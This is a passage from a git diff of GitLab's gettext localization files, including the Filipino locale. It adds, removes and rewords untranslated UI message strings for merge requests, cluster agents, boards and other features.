msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/fil_PH/gitlab.po b/locale/fil_PH/gitlab.po
index 9ef0c7b8489..88bf5ec7cdf 100644
--- a/locale/fil_PH/gitlab.po
+++ b/locale/fil_PH/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fil\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:42\n"
+"PO-Revision-Date: 2021-12-06 19:00\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
